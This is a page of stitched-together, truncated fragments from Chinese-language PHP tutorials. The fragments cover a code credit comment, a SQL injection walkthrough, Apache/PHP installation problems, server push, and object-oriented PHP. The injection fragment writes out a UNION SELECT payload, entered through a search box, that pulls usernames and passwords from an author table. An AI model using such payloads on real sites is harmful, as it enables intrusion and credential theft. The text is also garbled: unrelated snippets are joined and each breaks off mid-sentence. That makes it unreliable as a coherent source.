<?php/* Function Written by Nelson Neoh @3/2004. For those who wants to utilize this code, please do not remove this remark. If you have done any enhancement to this code, please post the copy at http://www.dev-club.com PHP board. Thank
我們構建注入語句吧 在輸入框輸入 a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql語句中成了 select * from alphadb where title like %a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# % 結果如圖17哦
時隔一年,再次安裝apache+php,裝完對php又有了新的認識。去年安裝的時候寫過筆記:http://blog.csdn.net/monkey7777/article/details/9261325。關於詳細配置課參看上面筆記。現在寫下安裝過程中可能出現出現的幾個問題:1.啟動apache遇到錯誤:httpd: Could not reliably determine the server's fully qualified domain
重新整理 Server push 前一段時間炒得很熱的“推”技術,不過網上大部分都是cgi的資料,偶爾看到一個法國的網站上有這麼個介紹,可惜法語看不懂,只能從他的程式中看懂點東西,現整理個例子出來大家學習一下。可以用於聊天室的資料轉送、網站上的新聞更新、等等各類更新頻繁的頁面。 以前做重新整理主要通過頁面上加標籤。 < META HTTP-EQUIV=REFRESH CONTENT="time;URL=url"
編程|對象 這篇文章介紹在PHP的物件導向編程(OOP)。我將示範如何用物件導向的概念編出較少的代碼但更好的程式。祝大家好運。 物件導向編程的概念對每一個作者來說都有不同的看法,我提醒一下一個物件導向語言應有的東西: - 資料抽象和資訊隱藏 - 繼承 - 多態性 在PHP中使用類進行封裝的辦法: class Something { // In OOP classes are usually named starting